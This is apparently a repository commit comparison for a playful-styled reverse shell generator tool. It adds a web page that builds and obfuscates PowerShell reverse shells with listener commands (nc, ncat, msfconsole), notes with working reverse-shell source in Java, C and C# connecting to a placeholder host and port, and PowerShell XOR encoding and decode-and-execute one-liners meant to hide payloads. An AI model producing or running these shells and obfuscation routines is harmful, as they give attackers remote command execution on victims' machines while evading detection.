Compare commits
9 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b95a3ecce7 | |||
| 25e91c47d1 | |||
| b426861b1d | |||
| 995306e675 | |||
| 109dc68940 | |||
| 413871b5fa | |||
| 5b9cceb24a | |||
| fe41bf1dd7 | |||
| 7db5046c94 |
@@ -0,0 +1,2 @@
|
|||||||
|
# Auto detect text files and perform LF normalization
|
||||||
|
* text=auto
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
notes.txt
|
||||||
|
scratch.txt
|
||||||
|
old
|
||||||
|
scratch
|
||||||
|
dev
|
||||||
|
*.bak*
|
||||||
|
*.old*
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
# Princess-Pi-s-Magical-RevShells
|
# Princess Pi's Magical RevShells
|
||||||
|
makin da reverse shells works rights~
|
||||||
|
|||||||
|
After Width: | Height: | Size: 42 KiB |
|
After Width: | Height: | Size: 172 KiB |
|
After Width: | Height: | Size: 38 KiB |
|
After Width: | Height: | Size: 918 B |
|
After Width: | Height: | Size: 2.6 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 590 KiB |
@@ -0,0 +1,80 @@
|
|||||||
|
/*
|
||||||
|
colors:
|
||||||
|
* light pink background color: #FFDDDD
|
||||||
|
* dark purple text color: #6B16A0
|
||||||
|
* purple (links): #A020F0
|
||||||
|
* blue (hovers): #0000FF
|
||||||
|
* nearly white pale pink for text inputs: #FFEEEE
|
||||||
|
* lighter purple (buttons): #DCA4FF
|
||||||
|
*/
|
||||||
|
|
||||||
|
@font-face {
|
||||||
|
font-family: ComicCodedRegular;
|
||||||
|
src: url(ComicCodeRegular.woff)
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: ComicCodeRegular, "Comic Sans MS", "Comic Sans", monospace;
|
||||||
|
font-size: 1.1em;
|
||||||
|
background-color: #FFDDDD;
|
||||||
|
background-image: url(princesspi-bkg.png);
|
||||||
|
background-repeat: no-repeat;
|
||||||
|
color: #6b16a0;
|
||||||
|
margin-left: 3em;
|
||||||
|
}
|
||||||
|
|
||||||
|
a:link {
|
||||||
|
color: #A020F0;
|
||||||
|
}
|
||||||
|
|
||||||
|
a:hover {
|
||||||
|
color: #0000FF;
|
||||||
|
}
|
||||||
|
|
||||||
|
textarea {
|
||||||
|
font-family: 'Courier New', Courier, monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
label:focus, label:hover {
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type=text],select,textarea {
|
||||||
|
border: 2px solid #A020F0;
|
||||||
|
background-color: #FFEEEE;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type=text]:focus,select:focus,textarea:focus {
|
||||||
|
border: 2px solid #0000FF;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type=button], input[type=submit] {
|
||||||
|
background-color: #dca4ff;
|
||||||
|
font-family: ComicCodeRegular, "Comic Sans MS", "Comic Sans", monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type=button].marginalized {
|
||||||
|
/*margin-left: 50px;*/
|
||||||
|
margin-top: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type=button]:hover, input[type=submit]:hover, input[type=button]:focus, input[type=submit]:focus {
|
||||||
|
border: 2px solid #0000FF;
|
||||||
|
}
|
||||||
|
|
||||||
|
.label {
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hidden {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.emphasis {
|
||||||
|
font-weight: bold;
|
||||||
|
font-size: 1.2em;
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
{"name":"","short_name":"","icons":[{"src":"assets/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"assets/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Princess Pi's Rev Shell Gen! ~ Sillytime! :tbh_bounces:</title>
|
||||||
|
<link rel="icon" type="image/x-icon" href="assets/favicon.ico">
|
||||||
|
<link rel="apple-touch-icon" sizes="180x180" href="assets/fapple-touch-icon.png">
|
||||||
|
<link rel="icon" type="image/png" sizes="32x32" href="assets/ffavicon-32x32.png">
|
||||||
|
<link rel="icon" type="image/png" sizes="16x16" href="assets/favicon-16x16.png">
|
||||||
|
<link rel="manifest" href="assets/site.webmanifest">
|
||||||
|
<link rel="stylesheet" href="assets/silly.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Princess Pi's Silly PowerShell Silly!</h1>
|
||||||
|
<span class="emphasis">Whatchu wanna do~ uwu</span><br>
|
||||||
|
<label for="revshell">Generate Reverse Shell~</label>
|
||||||
|
<input type="radio" id="revshell" name="pssilly" onclick="swapMode('revshell')"><br>
|
||||||
|
|
||||||
|
<label for="psencode">Encode Custom Powershell~</label>
|
||||||
|
<input type="radio" id="psencode" name="pssilly" onclick="swapMode('psencode')"><br>
|
||||||
|
|
||||||
|
<br><hr><br>
|
||||||
|
|
||||||
|
<div id="revshellgencontainer" class="hidden">
|
||||||
|
<h1>Princess Pi's Rev Shell Gen!</h1>
|
||||||
|
<label for="host">Host:</label>
|
||||||
|
<input type="text" value="192.168.1.1" id="host">
|
||||||
|
|
||||||
|
<label for="port">Port:</label>
|
||||||
|
<input type="text" name="port" id="port" value="853" size="7"><br>
|
||||||
|
|
||||||
|
<label for="rstype">Type:</label>
|
||||||
|
<select name="rstype" id="rstype">
|
||||||
|
<option value="0">PowerShell #0</option>
|
||||||
|
<option value="1">PowerShell #1</option>
|
||||||
|
<option value="2">PowerShell #2</option>
|
||||||
|
<option value="3">PowerShell TLS #3</option>
|
||||||
|
</select>
|
||||||
|
|
||||||
|
<label for="listener">Listener:</label>
|
||||||
|
<select name="listenertype" id="listenertype">
|
||||||
|
<option value="0">nc Cleartext TCP</option>
|
||||||
|
<option value="1">nc Cleartext UDP</option>
|
||||||
|
<option value="2">ncat Cleartext TCP</option>
|
||||||
|
<option value="3">ncat TLS</option>
|
||||||
|
<option value="4">openssl TLS</option>
|
||||||
|
<option value="5">msfconsole Cleartext TCP</option>
|
||||||
|
<option value="6">msfconsole Cleartext UDP</option>
|
||||||
|
</select><br>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
<label for="shell">Shell:</label>
|
||||||
|
<input type="text" name="shell" value="powershell">
|
||||||
|
-->
|
||||||
|
|
||||||
|
<a href="javascript:showId('advancedConfig')">advanced</a><br>
|
||||||
|
|
||||||
|
<div class="hidden" id="advancedConfig">
|
||||||
|
<br>
|
||||||
|
<span class="emphasis">Advanced Settings:</span><br>
|
||||||
|
<span class="emphasis">Random Variable Name Lengths:</span><br>
|
||||||
|
<label for="minLen">Min:</label>
|
||||||
|
<input type="text" value="2" id="minLen" size="3">
|
||||||
|
<label for="maxLen">Max:</label>
|
||||||
|
<input type="text" value="7" id="maxLen" size="3">
|
||||||
|
<!-- add mangle options here eventually -->
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<input type="button" value="Go, Baby, Go!" onclick="genShell()" class="marginalized"></input>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="encodepscontainer" class="hidden">
|
||||||
|
<h1>Encode PowerShell Commands~</h1>
|
||||||
|
<label for="psInput">PowerShell Code</label><br>
|
||||||
|
<textarea rows="10" cols="40" id="psInput"></textarea><br>
|
||||||
|
<input type="button" value="Go, Encode, Go!" class="marginalized" onclick="encodePS(document.getElementById('psInput').value, false)"><br>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="unencodedDiv" class="hidden">
|
||||||
|
<br>
|
||||||
|
<label for="hiddenUnencoded">Randomized Vars <a href="javascript:doHelp('randomvars');" class="help">?</a></label><br>
|
||||||
|
<textarea rows="10" cols="40" id="hiddenUnencoded"></textarea><br>
|
||||||
|
<a href="javascript:copyCmd('hiddenUnencoded', 'copyCmdUnencoded')">Copy to Clipboard</a> <span id="copyCmdUnencoded" class="hidden">Copied!</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="encodedDiv" class="hidden">
|
||||||
|
<br>
|
||||||
|
<label for="hiddenOutput">Encoded <a href="javascript:doHelp('encoded');" class="help">?</a></label><br>
|
||||||
|
<textarea rows="10" cols="40" id="hiddenOutput"></textarea><br>
|
||||||
|
<a href="javascript:copyCmd('hiddenOutput', 'copyCmdDone')">Copy to Clipboard</a> <span id="copyCmdDone" class="hidden">Copied!</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div id="mangledDiv" class="hidden">
|
||||||
|
<br>
|
||||||
|
<label for="mangledpayload">Mangled <a href="javascript:doHelp('mangled');" class="help">?</a></label><br>
|
||||||
|
<textarea rows="10" cols="40" id="mangledpayload"></textarea><br>
|
||||||
|
<a href="javascript:copyCmd('mangledpayload', 'copyCmdMangled')">Copy to Clipboard</a> <span id="copyCmdMangled" class="hidden">Copied!</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="mangledEncodedDiv" class="hidden">
|
||||||
|
<br>
|
||||||
|
<label for="mangledencodedpayload">Mangled & Encoded <a href="javascript:doHelp('mangledencoded');" class="help">?</a></label><br>
|
||||||
|
<textarea rows="10" cols="40" id="mangledencodedpayload"></textarea><br>
|
||||||
|
<a href="javascript:copyCmd('mangledencodedpayload', 'copyCmdMangledEncoded')">Copy to Clipboard</a> <span id="copyCmdMangledEncoded" class="hidden">Copied!</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="listenerDiv" class="hidden">
|
||||||
|
<br>
|
||||||
|
<label for="listener">Listener <a href="javascript:doHelp('listener');" class="help">?</a></label><br>
|
||||||
|
<textarea rows="10" cols="40" id="listener">sudo nc -lvnp 853</textarea><br>
|
||||||
|
<a href="javascript:copyCmd('listener', 'copyListenerDone')">Copy to Clipboard</a> <span id="copyListenerDone" class="hidden">Copied!</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="assets/silly.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
java revshells:
|
||||||
|
```
|
||||||
|
public class shell {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
Process p;
|
||||||
|
try {
|
||||||
|
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/<host>>/<port> 0>&1");
|
||||||
|
p.waitFor();
|
||||||
|
p.destroy();
|
||||||
|
} catch (Exception e) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
public class shell {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/<host>/<port> 0>&1")
|
||||||
|
.redirectErrorStream(true);
|
||||||
|
try {
|
||||||
|
Process p = pb.start();
|
||||||
|
p.waitFor();
|
||||||
|
p.destroy();
|
||||||
|
} catch (Exception e) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.Socket;
|
||||||
|
|
||||||
|
public class shell {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
String host = "<host>";
|
||||||
|
int port = <port>;
|
||||||
|
String cmd = "bash";
|
||||||
|
try {
|
||||||
|
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
||||||
|
Socket s = new Socket(host, port);
|
||||||
|
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
|
||||||
|
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
|
||||||
|
while (!s.isClosed()) {
|
||||||
|
while (pi.available() > 0)
|
||||||
|
so.write(pi.read());
|
||||||
|
while (pe.available() > 0)
|
||||||
|
so.write(pe.read());
|
||||||
|
while (si.available() > 0)
|
||||||
|
po.write(si.read());
|
||||||
|
so.flush();
|
||||||
|
po.flush();
|
||||||
|
Thread.sleep(50);
|
||||||
|
try {
|
||||||
|
p.exitValue();
|
||||||
|
break;
|
||||||
|
} catch (Exception e) {}
|
||||||
|
}
|
||||||
|
p.destroy();
|
||||||
|
s.close();
|
||||||
|
} catch (Exception e) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
binary opeations:
|
||||||
|
$a -band $b and
|
||||||
|
$a -bnot $b not
|
||||||
|
$a -bor $b or
|
||||||
|
$a -bxor $b xor
|
||||||
|
$a -shr $b right shift
|
||||||
|
$a -shl $b left shift
|
||||||
|
|
||||||
|
xor on a byte array:
|
||||||
|
for($i=0;$i -lt $bytes.count;$i++){$bytes[$i]=$bytes[$i] -bxor 0x6A}
|
||||||
|
|
||||||
|
convert string to byte array:
|
||||||
|
$bytes=[System.Text.Encoding]::UTF8.GetBytes($secret)
|
||||||
|
convert byte array to string:
|
||||||
|
$string=[System.Text.Encoding]::UTF8.GetString($bytes)
|
||||||
|
|
||||||
|
a xor b can be reversed by the same exact operation
|
||||||
|
|
||||||
|
$shellStr = "echo henloamf";
|
||||||
|
|
||||||
|
|
||||||
|
$sillystring='henloloamf';$sillyxorkey=0x3b;$bytes=[System.Text.Encoding]::Unicode.GetBytes($sillystring);for($i=0;$i -lt $bytes.count;$i++){$bytes[$i]=$bytes[$i] -bxor $sillyxorkey};$string=[System.Text.Encoding]::UTF8.GetString($bytes);$string
|
||||||
|
|
||||||
|
$sillyxorkey=0x3b;$bytes=[System.Text.Encoding]::Unicode.GetBytes($string);for($i=0;$i -lt $bytes.count;$i++){$bytes[$i]=$bytes[$i] -bxor $sillyxorkey};$string2=[System.Text.Encoding]::UTF8.GetString($bytes);$string2
|
||||||
|
|
||||||
|
[char]0x0048 manually encoded unicode
|
||||||
|
|
||||||
|
$encoding = [System.Text.Encoding]::UTF8
|
||||||
|
$input = 'input string thingy'
|
||||||
|
$output = $encoding.GetBytes($input)
|
||||||
|
|
||||||
|
$bytes = [System.Text.Encoding]::UTF8.GetBytes($input)
|
||||||
|
$string = [System.Text.Encoding]::UTF8.GetString($bytes)
|
||||||
|
|
||||||
|
|
||||||
|
# encode to bytes
|
||||||
|
$in = "input string thingy";
|
||||||
|
$bytes = [System.Text.Encoding]::UTF8.GetBytes($in);
|
||||||
|
|
||||||
|
# decode from bytes
|
||||||
|
$str = [System.Text.Encoding]::UTF8.GetString($bytes);
|
||||||
|
$str;
|
||||||
|
|
||||||
|
# encode to bytes and xor
|
||||||
|
$key = 0xA3;
|
||||||
|
$str = "echo hemanloanf";
|
||||||
|
$bytes = [System.Text.Encoding]::UTF8.GetBytes($str);
|
||||||
|
$bytes;
|
||||||
|
for($i = 0; $i -lt $bytes.length; $i++) {
|
||||||
|
$bytes[$i]=$bytes[$i] -bxor $key;
|
||||||
|
}
|
||||||
|
$bytes;
|
||||||
|
|
||||||
|
# decode back to string
|
||||||
|
for($i = 0; $i -lt $bytes.length; $i++) {
|
||||||
|
$bytes[$i]=$bytes[$i] -bxor $key;
|
||||||
|
}
|
||||||
|
|
||||||
|
$str = [System.Text.Encoding]::UTF8.GetString($bytes);
|
||||||
|
$str
|
||||||
|
|
||||||
|
# xor obsfuscation and exe oneliner
|
||||||
|
# encode
|
||||||
|
$key = 0xA3;
|
||||||
|
$str = "echo hemanloanf";
|
||||||
|
$bytes = [System.Text.Encoding]::UTF8.GetBytes($str);
|
||||||
|
for($i = 0; $i -lt $bytes.length; $i++) { $bytes[$i]=$bytes[$i] -bxor $key; }
|
||||||
|
|
||||||
|
# xor encode oneliner
|
||||||
|
$key=0xA3;$str="echo hanloand";$bytes=[System.Text.Encoding]::UTF8.GetBytes($str);for($i=0;$i -lt $bytes.length;$i++){$bytes[$i]=$bytes[$i] -bxor $key;};
|
||||||
|
# $bytes
|
||||||
|
|
||||||
|
# decode and execute oneliner
|
||||||
|
$key=0xA3;for($i=0;$i -lt $bytes.length;$i++){$bytes[$i]=$bytes[$i] -bxor $key};$str=[System.Text.Encoding]::UTF8.GetString($bytes);
|
||||||
|
# $str
|
||||||
|
|
||||||
@@ -0,0 +1,174 @@
|
|||||||
|
pure C:
|
||||||
|
```
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
int main(void){
|
||||||
|
int port = <port>;
|
||||||
|
struct sockaddr_in revsockaddr;
|
||||||
|
|
||||||
|
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
revsockaddr.sin_family = AF_INET;
|
||||||
|
revsockaddr.sin_port = htons(port);
|
||||||
|
revsockaddr.sin_addr.s_addr = inet_addr("<host>");
|
||||||
|
|
||||||
|
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||||||
|
sizeof(revsockaddr));
|
||||||
|
dup2(sockt, 0);
|
||||||
|
dup2(sockt, 1);
|
||||||
|
dup2(sockt, 2);
|
||||||
|
|
||||||
|
char * const argv[] = {"bash", NULL};
|
||||||
|
execvp("<shell>", argv);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
C windows:
|
||||||
|
```
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#pragma comment(lib,"ws2_32")
|
||||||
|
|
||||||
|
WSADATA wsaData;
|
||||||
|
SOCKET Winsock;
|
||||||
|
struct sockaddr_in hax;
|
||||||
|
char ip_addr[16] = "<host>";
|
||||||
|
char port[6] = "<port>";
|
||||||
|
|
||||||
|
STARTUPINFO ini_processo;
|
||||||
|
|
||||||
|
PROCESS_INFORMATION processo_info;
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0;
|
||||||
|
|
||||||
|
|
||||||
|
struct hostent *host;
|
||||||
|
host = gethostbyname(ip_addr);
|
||||||
|
strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));
|
||||||
|
|
||||||
|
hax.sin_family = AF_INET;
|
||||||
|
hax.sin_port = htons(atoi(port));
|
||||||
|
hax.sin_addr.s_addr = inet_addr(ip_addr);
|
||||||
|
|
||||||
|
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
|
||||||
|
|
||||||
|
memset(&ini_processo, 0, sizeof(ini_processo));
|
||||||
|
ini_processo.cb = sizeof(ini_processo);
|
||||||
|
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||||
|
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
|
||||||
|
|
||||||
|
TCHAR cmd[255] = TEXT("<shell>.exe"); // ?
|
||||||
|
// TCHAR cmd[255] = TEXT("cmd.exe");
|
||||||
|
|
||||||
|
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
C#:
|
||||||
|
```
|
||||||
|
using System;
|
||||||
|
using System.Text;
|
||||||
|
using System.IO;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
|
||||||
|
|
||||||
|
namespace ConnectBack
|
||||||
|
{
|
||||||
|
public class Program
|
||||||
|
{
|
||||||
|
static StreamWriter streamWriter;
|
||||||
|
|
||||||
|
public static void Main(string[] args)
|
||||||
|
{
|
||||||
|
using(TcpClient client = new TcpClient("<host>", <port>))
|
||||||
|
{
|
||||||
|
using(Stream stream = client.GetStream())
|
||||||
|
{
|
||||||
|
using(StreamReader rdr = new StreamReader(stream))
|
||||||
|
{
|
||||||
|
streamWriter = new StreamWriter(stream);
|
||||||
|
|
||||||
|
StringBuilder strInput = new StringBuilder();
|
||||||
|
|
||||||
|
Process p = new Process();
|
||||||
|
p.StartInfo.FileName = "<shell>";
|
||||||
|
p.StartInfo.CreateNoWindow = true;
|
||||||
|
p.StartInfo.UseShellExecute = false;
|
||||||
|
p.StartInfo.RedirectStandardOutput = true;
|
||||||
|
p.StartInfo.RedirectStandardInput = true;
|
||||||
|
p.StartInfo.RedirectStandardError = true;
|
||||||
|
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
|
||||||
|
p.Start();
|
||||||
|
p.BeginOutputReadLine();
|
||||||
|
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
strInput.Append(rdr.ReadLine());
|
||||||
|
//strInput.Append("\n");
|
||||||
|
p.StandardInput.WriteLine(strInput);
|
||||||
|
strInput.Remove(0, strInput.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
|
||||||
|
{
|
||||||
|
StringBuilder strOutput = new StringBuilder();
|
||||||
|
|
||||||
|
if (!String.IsNullOrEmpty(outLine.Data))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
strOutput.Append(outLine.Data);
|
||||||
|
streamWriter.WriteLine(strOutput);
|
||||||
|
streamWriter.Flush();
|
||||||
|
}
|
||||||
|
catch (Exception err) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
C#:
|
||||||
|
```
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
|
||||||
|
namespace BackConnect {
|
||||||
|
class ReverseBash {
|
||||||
|
public static void Main(string[] args) {
|
||||||
|
Process proc = new System.Diagnostics.Process();
|
||||||
|
proc.StartInfo.FileName = "<shell>";
|
||||||
|
proc.StartInfo.Arguments = "-c \"<shell> -i >& /dev/tcp/<host>>/<port> 0>&1\"";
|
||||||
|
proc.StartInfo.UseShellExecute = false;
|
||||||
|
proc.StartInfo.RedirectStandardOutput = true;
|
||||||
|
proc.Start();
|
||||||
|
|
||||||
|
while (!proc.StandardOutput.EndOfStream) {
|
||||||
|
Console.WriteLine(proc.StandardOutput.ReadLine());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
|
||||||
|
|
||||||
|
https://www.revshells.com
|
||||||
|
|
||||||
|
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
param (
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[byte]$key,
|
||||||
|
[string]$cmd
|
||||||
|
)
|
||||||
|
|
||||||
|
$bytes=[System.Text.Encoding]::UTF8.GetBytes($cmd)
|
||||||
|
|
||||||
|
for($i = 0; $i -lt $bytes.length; $i++) {
|
||||||
|
$bytes[$i]=$bytes[$i] -bxor $key
|
||||||
|
}
|
||||||
|
|
||||||
|
$bytes
|
||||||
|
|
||||||
|
[System.Text.Encoding]::UTF8.GetString($bytes)
|
||||||